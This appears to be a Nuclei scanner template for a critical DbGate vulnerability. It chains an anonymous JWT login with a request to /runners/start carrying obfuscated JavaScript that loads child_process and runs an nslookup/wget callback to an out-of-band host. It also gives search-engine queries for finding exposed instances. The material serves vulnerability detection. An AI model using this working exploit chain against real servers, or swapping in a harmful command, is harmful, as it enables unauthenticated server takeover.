DbGate - Remote Code Execution via Anonymous JWT

id: CVE-2026-47668

info:
  name: DbGate - Remote Code Execution via Anonymous JWT
  author: benharvey-sage
  severity: critical
  description: |
   DbGate contains a remote code execution vulnerability exploitable by unauthenticated attackers. The /auth/login endpoint issues anonymous JWT tokens without credentials, and the /runners/start endpoint accepts JavaScript payloads that execute via Node.js child_process, allowing arbitrary command execution on the server.
  impact: |
   An unauthenticated attacker can execute arbitrary system commands on the server with the privileges of the DbGate process, leading to full server compromise, data exfiltration from connected databases, lateral movement, and deployment of backdoors or ransomware.
  remediation: |
   Update DbGate to the latest patched version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-47668
    - https://github.com/dbgate/dbgate/security/advisories/GHSA-8v3q-9vmx-36vc
    - https://github.com/dbgate/dbgate
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-47668
    epss-score: 0.04339
    epss-percentile: 0.9037
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: dbgate
    product: dbgate
    shodan-query: http.title:"DbGate"
    fofa-query: title="DbGate"
  tags: cve,cve2026,dbgate,rce,oast,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"amoid":"none"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "accessToken")'
        internal: true
        condition: and

    extractors:
      - type: json
        name: access_token
        part: body
        internal: true
        json:
          - '.accessToken'

  - raw:
      - |
        POST /runners/start HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{access_token}}
        Content-Type: application/json

        {"script":{"type":"json","commands":[{"type":"assign","variableName":"x","functionName":"x;try{var m=process.mainModule;var r=m[\"req\"+\"uire\"];var n=[\"chi\",\"ld_\",\"pro\",\"ces\",\"s\"].join(\"\");var cp=r(n);var o=cp[\"exe\"+\"cSy\"+\"nc\"](\"nslookup {{interactsh-url}} || wget {{interactsh-url}}\").toString();}catch(e){};// ","props":{}}],"packageNames":[]}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(interactsh_protocol, "dns", "http")'
        condition: and
# digest: 4a0a0047304502204f3143b1ebf0646f8166eede368e7cf3dc8bd2aa091f707804edb668734546a9022100f876db06e0d62f20b5910aa47a677cbf100ee5fb22e22e5d9f969c6cacd31afd:922c64590222798bb761d5b6d8e72950